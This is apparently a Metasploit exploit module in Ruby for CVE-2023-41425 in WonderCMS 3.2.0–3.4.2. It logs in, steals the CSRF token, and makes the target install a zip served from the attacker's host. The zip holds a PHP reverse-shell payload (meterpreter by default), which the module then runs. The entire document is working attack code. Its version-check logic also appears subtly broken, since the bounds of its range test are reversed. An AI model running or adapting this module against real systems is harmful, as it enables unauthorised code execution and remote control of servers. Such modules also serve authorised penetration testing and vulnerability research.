## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'WonderCMS Remote Code Execution', 'Description' => %q{ This module exploits CVE-2023-41425, an authenticated file upload vulnerability affecting WonderCMS between 3.2.0 and 3.4.2. }, 'License' => MSF_LICENSE, 'Author' => [ 'msutovsky-r7', # msf module 'Milad "Ex3ptionaL" Karimi' # original exploit ], 'References' => [ [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-41425'], [ 'URL', 'https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413'], [ 'CVE', '2023-41425'], [ 'EDB', '52271'] ], 'Targets' => [ [ 'PHP', { 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Type' => :php, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } } ] ], 'DisclosureDate' => '2023-11-07', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Path to the WonderCMS application', '/wondercms']), OptString.new('PASSWORD', [true, 'Password to log into WonderCMS', '']), OptBool.new('CLEANUP', [false, 'Enable payload file cleanup', true]) ]) end def login return if @logged_in res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/loginURL'), 'keep_cookies' => true, 'vars_post' => { 'password' => datastore['PASSWORD'] } }) fail_with(Failure::NoAccess, 'Incorrect credentials') unless res&.code == 302 && !res.headers&.fetch('Location', '')&.include?('loginURL') @logged_in = true end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/how-to') }) return Exploit::CheckCode::Unknown('Cannot connect to the remote host') unless res&.code == 200 return Exploit::CheckCode::Safe('WonderCMS was not detected') unless res.body&.include?('WonderCMS') vprint_status('Target is probably WonderCMS..') login res = send_request_cgi!({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200 html_document = res.get_html_document html_document.xpath('//a[@href="https://wondercms.com"]').find { |link| link.text =~ /WonderCMS (\d.\d?\d?.\d?\d?)/ } version = Rex::Version.new(Regexp.last_match(1)) return Exploit::CheckCode::Unknown('Unable to get version') unless version return Msf::Exploit::CheckCode::Safe("WonderCMS #{version} is not affected") if version.between?(Rex::Version.new('3.4.2'), Rex::Version.new('3.2.0')) return Exploit::CheckCode::Vulnerable("Version #{version} is affected") end def create_vulnerable_zip @payload_filename = "#{Rex::Text.rand_text_alphanumeric(3..12)}.php" files = [ { data: payload.encoded, fname: @payload_filename } ] @vuln_zip = Msf::Util::EXE.to_zip(files) register_file_for_cleanup(@payload_filename) if datastore['CLEANUP'] end def on_request_uri(cli, _request) print_status('Received request, sending payload..') send_response(cli, @vuln_zip) end def install_malicious_component res = send_request_cgi!({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200 html_document = res.get_html_document @token = html_document.at("input[@name='token']").attributes.fetch('value', nil) return Exploit::CheckCode::Unknown('Failed to get token') unless @token send_request_cgi!({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/?installModule=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@zip_filename}&directoryName=#{Rex::Text.rand_text_alphanumeric(1..8)}&type=themes&token=#{@token}") }) end def exploit if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') end login create_vulnerable_zip @zip_filename = "#{Rex::Text.rand_text_alphanumeric(4..8)}.zip" start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req) end, 'Path' => "/#{@zip_filename}" } }) install_malicious_component send_request_cgi!({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/themes/#{@payload_filename}") }) end end